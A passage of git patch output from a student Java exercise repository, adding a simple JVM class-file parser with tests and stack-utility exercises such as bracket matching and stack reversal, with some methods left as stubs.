+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,23 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/StackMapTable.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..3cb32df88b
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/StackMapTable.java
@@ -0,0 +1,29 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//�����StackMapTable̫�����ӣ� ���ٴ����� ֻ��ԭʼ�Ĵ������������
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
index 26b2d02b67..77ed31c188 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
@@ -1,7 +1,12 @@
 package com.github.chaoswang.learning.java.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.github.chaoswang.learning.java.jvm.constant.ClassInfo;
 import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+import com.github.chaoswang.learning.java.jvm.field.Field;
+import com.github.chaoswang.learning.java.jvm.method.Method;
 
 public class ClassFile {
 
@@ -11,6 +16,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -53,7 +60,24 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;
 	}
 
+	public void addField(Field f) {
+		this.fields.add(f);
+	}
+
+	public List<Field> getFields() {
+		return this.fields;
+	}
+
+	public void addMethod(Method m) {
+		this.methods.add(m);
+	}
+
+	public List<Method> getMethods() {
+		return methods;
+	}
+
 	public void print() {
+
 		if (this.accessFlag.isPublicClass()) {
 			System.out.println("Access flag : public  ");
 		}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/field/Field.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/field/Field.java
new file mode 100644
index 0000000000..c0ef09f88a
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/field/Field.java
@@ -0,0 +1,31 @@
+package com.github.chaoswang.learning.java.jvm.field;
+
+import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		return null;
+	}
+
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
index 5d75712596..8cf2374114 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
@@ -1,5 +1,55 @@
 package com.github.chaoswang.learning.java.jvm.loader;
 
+import java.util.Arrays;
+
+import com.github.chaoswang.learning.java.jvm.util.Util;
+
 public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
 
-}
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/method/Method.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/method/Method.java
new file mode 100644
index 0000000000..c55cb5ac25
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/method/Method.java
@@ -0,0 +1,51 @@
+package com.github.chaoswang.learning.java.jvm.method;
+
+import com.github.chaoswang.learning.java.jvm.attr.CodeAttr;
+import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class Method {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+}
diff --git a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
index 927a37b6fd..16c361ca04 100644
--- a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
+++ b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
@@ -1,5 +1,7 @@
 package com.github.chaoswang.learning.java.jvm;
 
+import java.util.List;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -12,7 +14,9 @@
 import com.github.chaoswang.learning.java.jvm.constant.MethodRefInfo;
 import com.github.chaoswang.learning.java.jvm.constant.NameAndTypeInfo;
 import com.github.chaoswang.learning.java.jvm.constant.UTF8Info;
+import com.github.chaoswang.learning.java.jvm.field.Field;
 import com.github.chaoswang.learning.java.jvm.loader.ClassFileLoader;
+import com.github.chaoswang.learning.java.jvm.method.Method;
 
 public class ClassFileloaderTest {
 
@@ -184,5 +188,77 @@ public void testClassIndex() {
 		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
 		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
 	}
+	
+	/**
+     * �����ǵ�����JVM��Ӧʵ�ֵIJ�������
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
 
 }
\ No newline at end of file

From 4a70761cd753a619971e547c84c4bc83815ef998 Mon Sep 17 00:00:00 2001
From: chaoswang <chaoswang@163.com>
Date: Wed, 12 Apr 2017 00:21:46 +0800
Subject: [PATCH 073/262] =?UTF-8?q?StackUtil=E7=BC=93=E5=AD=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../learning/java/stack/StackUtil.java        | 90 +++++++++++++++++--
 1 file changed, 83 insertions(+), 7 deletions(-)

diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
index 986d434531..3253cdcffa 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
@@ -1,20 +1,33 @@
 package com.github.chaoswang.learning.java.stack;
 
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
 import java.util.Stack;
+
 public class StackUtil {
+	
+	public static void addToBottom(Stack<Integer> s, Integer value) {
+		Stack<Integer> tmpStack = new Stack<Integer>();
+		while(!s.empty()){
+			tmpStack.push(s.pop());
+		}
+		s.push(value);
+		while(!tmpStack.empty()){
+			s.push(tmpStack.pop());
+		}
+	}
 
 	/**
 	 * ����ջ�е�Ԫ����Integer, ��ջ����ջ���� : 5,4,3,2,1 ���ø÷����� Ԫ�ش����Ϊ: 1,2,3,4,5
 	 * ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
 	 */
 	public static void reverse(Stack<Integer> s) {
-
-	}
-	
-	public static void addToBottom(Stack<Integer> s,  Integer value){
+		Stack<Integer> tmpStack = new Stack<Integer>();
+		
 		
 	}
-	
 
 	/**
 	 * ɾ��ջ�е�ij��Ԫ�� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
@@ -22,7 +35,20 @@ public static void addToBottom(Stack<Integer> s,  Integer value){
 	 * @param o
 	 */
 	public static void remove(Stack<Integer> s, Object o) {
-
+		if(o == null){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack<Integer>();
+		while(!s.empty()){
+			Integer poped = s.pop();
+			if(o.equals(poped)){
+				break;
+			}
+			tmpStack.push(poped);
+		}
+		while(!tmpStack.empty()){
+			s.push(tmpStack.pop());
+		}
 	}
 
 	/**
@@ -33,7 +59,21 @@ public static void remove(Stack<Integer> s, Object o) {
 	 * @return
 	 */
 	public static Object[] getTop(Stack<Integer> s, int len) {
-		return null;
+		int stackSize = s.size();
+		if(len > stackSize || len <= 0){
+			throw new IllegalArgumentException("parameter len illegal");
+		}
+		List ret = new ArrayList();
+		Stack<Integer> tmpStack = new Stack<Integer>();
+		for(int i=0;i<len;i++){
+			Integer poped = s.pop();
+			ret.add(poped);
+			tmpStack.push(poped);
+		}
+		while(!tmpStack.empty()){
+			s.push(tmpStack.pop());
+		}
+		return ret.toArray(new Object[0]);
 	}
 
 	/**
@@ -45,6 +85,42 @@ public static Object[] getTop(Stack<Integer> s, int len) {
 	 * @return
 	 */
 	public static boolean isValidPairs(String s) {
+		Map<Character,Character> map = new HashMap<Character,Character>();
+		map.put('(', ')');
+		map.put('[', ']');
+		map.put('{', '}');
+		Stack<Character> tmpStack = new Stack<Character>();
+		for(char c : s.toCharArray()){
+			Character value = map.get(c);
+			if(value != null){
+				tmpStack.push(value);
+			}
+		}
+		StringBuffer sb = new StringBuffer();
+		while(!tmpStack.empty()){
+			Character poped = tmpStack.pop();
+			Character value = map.get(poped);
+			if(value != null)
+			sb.append(value);
+		}
+		
+		List<Character> ret = new ArrayList<Character>();
+		for(char c : s.toCharArray()){
+			Character value = map.get(c);
+			if(value != null){
+				ret.add(value);
+			}
+		}
+		StringBuffer sb2 = new StringBuffer();
+		for(Character c : ret){
+			Character value = map.get(c);
+			if(value != null)
+				sb2.append(c);
+		}
+		
+		if(sb.toString().equals(sb2.toString())){
+			return true;
+		}
 		return false;
 	}
 

From 87a5322794551adad4ddf187aa15b4566458c4fa Mon Sep 17 00:00:00 2001
From: 10094714 <wang.chao29@zte.com.cn>
Date: Wed, 12 Apr 2017 11:23:58 +0800
Subject: [PATCH 074/262] =?UTF-8?q?StackUtilTest=E9=80=9A=E8=BF=87?=
 =?UTF-8?q?=EF=BC=8C=E5=A2=9E=E5=8A=A0pom?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group06/263050006/pom.xml                     | 63 +++++++++++++++++++
 .../learning/java/stack/StackUtil.java        | 59 +++++++++--------
 2 files changed, 91 insertions(+), 31 deletions(-)
 create mode 100644 group06/263050006/pom.xml

diff --git a/group06/263050006/pom.xml b/group06/263050006/pom.xml
new file mode 100644
index 0000000000..91c21f2b50
--- /dev/null
+++ b/group06/263050006/pom.xml
@@ -0,0 +1,63 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <groupId>com.github.chaoswang</groupId>
+  <artifactId>coding2017</artifactId>
+  <version>0.0.1-SNAPSHOT</version>
+  <name>coding2017</name>
+  <description>coding2017</description>
+  <build>
+    <sourceDirectory>coding2017/group06/263050006/src/main/java</sourceDirectory>
+    <testSourceDirectory>coding2017/group06/263050006/src/test/java</testSourceDirectory>
+    <resources>
+      <resource>
+        <directory>coding2017/group06/263050006/src/main/java</directory>
+        <excludes>
+          <exclude>**/*.java</exclude>
+        </excludes>
+      </resource>
+    </resources>
+    <plugins>
+      <plugin>
+        <artifactId>maven-compiler-plugin</artifactId>
+        <version>3.3</version>
+        <configuration>
+          <source>1.8</source>
+          <target>1.8</target>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+  
+   <dependencies>
+  
+    <dependency>
+      <groupId>junit</groupId>
+      <artifactId>junit</artifactId>
+      <version>4.12</version>
+      <scope>test</scope>
+    </dependency>
+    
+    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
+	<dependency>
+	    <groupId>org.apache.commons</groupId>
+	    <artifactId>commons-lang3</artifactId>
+	    <version>3.5</version>
+	</dependency>
+    
+    <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
+	<dependency>
+	    <groupId>commons-io</groupId>
+	    <artifactId>commons-io</artifactId>
+	    <version>2.5</version>
+	</dependency>
+    
+    <!-- https://mvnrepository.com/artifact/jdom/jdom -->
+	<dependency>
+	    <groupId>jdom</groupId>
+	    <artifactId>jdom</artifactId>
+	    <version>1.1</version>
+	</dependency>
+	    
+    
+  </dependencies>
+</project>
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
index 3253cdcffa..7f2c30d1f1 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
@@ -1,6 +1,7 @@
 package com.github.chaoswang.learning.java.stack;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -25,8 +26,12 @@ public static void addToBottom(Stack<Integer> s, Integer value) {
 	 */
 	public static void reverse(Stack<Integer> s) {
 		Stack<Integer> tmpStack = new Stack<Integer>();
-		
-		
+		while(!s.empty()){
+			tmpStack.push(s.pop());
+		}
+		while(!tmpStack.empty()){
+			StackUtil.addToBottom(s, tmpStack.pop());
+		}
 	}
 
 	/**
@@ -58,15 +63,15 @@ public static void remove(Stack<Integer> s, Object o) {
 	 * @param len
 	 * @return
 	 */
-	public static Object[] getTop(Stack<Integer> s, int len) {
+	public static Object[] getTop(Stack s, int len) {
 		int stackSize = s.size();
 		if(len > stackSize || len <= 0){
 			throw new IllegalArgumentException("parameter len illegal");
 		}
 		List ret = new ArrayList();
-		Stack<Integer> tmpStack = new Stack<Integer>();
+		Stack tmpStack = new Stack();
 		for(int i=0;i<len;i++){
-			Integer poped = s.pop();
+			Object poped = s.pop();
 			ret.add(poped);
 			tmpStack.push(poped);
 		}
@@ -86,42 +91,34 @@ public static Object[] getTop(Stack<Integer> s, int len) {
 	 */
 	public static boolean isValidPairs(String s) {
 		Map<Character,Character> map = new HashMap<Character,Character>();
-		map.put('(', ')');
-		map.put('[', ']');
-		map.put('{', '}');
+		map.put(')', '(');
+		map.put(']', '[');
+		map.put('}', '{');
+		List bracketList = Arrays.asList('(', ')','[', ']','{', '}'); 
 		Stack<Character> tmpStack = new Stack<Character>();
 		for(char c : s.toCharArray()){
-			Character value = map.get(c);
-			if(value != null){
-				tmpStack.push(value);
+			if(bracketList.contains(c)){
+				tmpStack.push(c);
 			}
 		}
-		StringBuffer sb = new StringBuffer();
-		while(!tmpStack.empty()){
+		//���ŵĸ�������ż�����϶����ɶ�
+		if(tmpStack.size()%2 != 0){
+			return false;
+		}
+		Stack<Character> tmpStack2 = new Stack<Character>();
+		int tmpSize = tmpStack.size();
+		for(int i=0;i<tmpSize/2;i++){
 			Character poped = tmpStack.pop();
 			Character value = map.get(poped);
-			if(value != null)
-			sb.append(value);
+			tmpStack2.push(value);
 		}
 		
-		List<Character> ret = new ArrayList<Character>();
-		for(char c : s.toCharArray()){
-			Character value = map.get(c);
-			if(value != null){
-				ret.add(value);
+		for(int i=0;i<tmpSize/2;i++){
+			if(!tmpStack.pop().equals(tmpStack2.pop())){
+				return false;
 			}
 		}
-		StringBuffer sb2 = new StringBuffer();
-		for(Character c : ret){
-			Character value = map.get(c);
-			if(value != null)
-				sb2.append(c);
-		}
-		
-		if(sb.toString().equals(sb2.toString())){
-			return true;
-		}
-		return false;
+		return true;
 	}
 
 }
\ No newline at end of file

From 09a43831164b16375f3861a4ed41cc944ddfff36 Mon Sep 17 00:00:00 2001
From: 10094714 <wang.chao29@zte.com.cn>
Date: Wed, 12 Apr 2017 16:06:36 +0800
Subject: [PATCH 075/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=8C=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E5=AE=9E=E7=8E=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../learning/java/jvm/clz/ClassFile.java      | 28 ++++++---
 .../learning/java/jvm/constant/ClassInfo.java |  8 ++-
 .../java/jvm/constant/FieldRefInfo.java       |  9 ++-
 .../java/jvm/constant/MethodRefInfo.java      |  9 ++-
 .../java/jvm/constant/NameAndTypeInfo.java    | 10 +++-
 .../java/jvm/constant/StringInfo.java         |  7 ++-
 .../learning/java/jvm/constant/UTF8Info.java  |  8 +++
 .../java/jvm/loader/ClassFileParser.java      | 59 ++++++++++++++++---
 .../java/jvm/ClassFileloaderTest.java         | 19 +++---
 9 files changed, 126 insertions(+), 31 deletions(-)

diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
index 77ed31c188..b6c9a423b7 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
@@ -10,13 +10,27 @@
 
 public class ClassFile {
 
+	//Class�ļ��Ĵΰ汾��
 	private int minorVersion;
+	//Class�ļ������汾��,Java SE 6.0��Ӧ�������֧��Java SE 5.0�ı����������Class�ļ��ṹ����֮����
 	private int majorVersion;
 
+	/**
+	 * Class�ļ��г�������Ҫ�洢���� �����Լ��������ã�������������Ҫ�����ַ�����
+	 * final������ֵ����ij�����Եij�ʼֵ�ȵȣ�������������Ҫ�洢��ͽӿڵ�ȫ�޶����ƣ�
+	 * �ֶε������Լ��� �����������������Լ�������
+	 * CONSTANT_Utf8_info,CONSTANT_Float_info,CONSTANT_Double_info 
+	 */
+	private ConstantPool pool;
+	
+	//��ʾ����߽ӿڵķ�����Ϣ
 	private AccessFlag accessFlag;
+	//��ij��������������������
 	private ClassIndex clzIndex;
-	private ConstantPool pool;
+	
+	//�ֶα�����Ϣ
 	private List<Field> fields = new ArrayList<Field>();
+	//������
 	private List<Method> methods = new ArrayList<Method>();
 
 	public ClassIndex getClzIndex() {
@@ -78,12 +92,12 @@ public List<Method> getMethods() {
 
 	public void print() {
 
-		if (this.accessFlag.isPublicClass()) {
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:" + getClassName());
-
-		System.out.println("Super Class Name:" + getSuperClassName());
+//		if (this.accessFlag.isPublicClass()) {
+//			System.out.println("Access flag : public  ");
+//		}
+//		System.out.println("Class Name:" + getClassName());
+//
+//		System.out.println("Super Class Name:" + getSuperClassName());
 
 	}
 
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
index 2bbf8a79a7..f30e75f5df 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
@@ -1,6 +1,12 @@
 package com.github.chaoswang.learning.java.jvm.constant;
-
+/**
+ * CONSTANT_Class_info { 
+ * u1 tag; 
+ * u2 name_index; 
+ * }
+ */
 public class ClassInfo extends ConstantInfo {
+	
 	private int type = ConstantInfo.CLASS_INFO;
 	private int utf8Index;
 
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
index 48c4ee8eeb..762f678545 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
@@ -1,6 +1,13 @@
 package com.github.chaoswang.learning.java.jvm.constant;
-
+/**
+ * CONSTANT_Fieldref_info { 
+ * u1 tag; 
+ * u2 class_index; 
+ * u2 name_and_type_index;
+ * }
+ */
 public class FieldRefInfo extends ConstantInfo{
+	
 	private int type = ConstantInfo.FIELD_INFO;
 	private int classInfoIndex;
 	private int nameAndTypeIndex;
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
index 2b2cbeabbc..f8f30a92cd 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
@@ -1,9 +1,14 @@
 package com.github.chaoswang.learning.java.jvm.constant;
-
+/**
+ * CONSTANT_Methodref_info { 
+ * u1 tag; 
+ * u2 class_index; 
+ * u2 name_and_type_index;
+ */
 public class MethodRefInfo extends ConstantInfo {
 
+	
 	private int type = ConstantInfo.METHOD_INFO;
-
 	private int classInfoIndex;
 	private int nameAndTypeIndex;
 
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
index f557cc7ded..bd91ec8aac 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
@@ -1,8 +1,14 @@
 package com.github.chaoswang.learning.java.jvm.constant;
-
+/**
+ * CONSTANT_NameAndType_info { 
+ * u1 tag; 
+ * u2 name_index; 
+ * u2 descriptor_index;
+ * }
+ */
 public class NameAndTypeInfo extends ConstantInfo {
+	
 	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
-
 	private int index1;
 	private int index2;
 
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
index c4a198f8d5..82c4be3245 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
@@ -1,6 +1,11 @@
 package com.github.chaoswang.learning.java.jvm.constant;
-
+/**
+ * CONSTANT_String_info { 
+ * u1 tag; 
+ * u2 string_index;
+ */
 public class StringInfo extends ConstantInfo {
+	
 	private int type = ConstantInfo.STRING_INFO;
 	private int index;
 
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
index 07243b928d..5950d094e7 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
@@ -1,6 +1,14 @@
 package com.github.chaoswang.learning.java.jvm.constant;
 
+/**
+ * CONSTANT_Utf8_info { 
+ * u1 tag; 
+ * u2 length; 
+ * u1 bytes[length]; 
+ * }
+ */
 public class UTF8Info extends ConstantInfo {
+	
 	private int type = ConstantInfo.UTF8_INFO;
 	private int length;
 	private String value;
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
index 7c4608601e..3b133dba93 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
@@ -3,29 +3,72 @@
 import com.github.chaoswang.learning.java.jvm.clz.AccessFlag;
 import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
 import com.github.chaoswang.learning.java.jvm.clz.ClassIndex;
+import com.github.chaoswang.learning.java.jvm.constant.ClassInfo;
 import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+import com.github.chaoswang.learning.java.jvm.constant.UTF8Info;
 
 public class ClassFileParser {
-
+	
+	
 	public ClassFile parse(byte[] codes) {
-
-		return null;
+		ByteCodeIterator codeIterator = new ByteCodeIterator(codes);
+		ClassFile classFile = new ClassFile();
+		//����ħ��
+		codeIterator.getBytes(4);
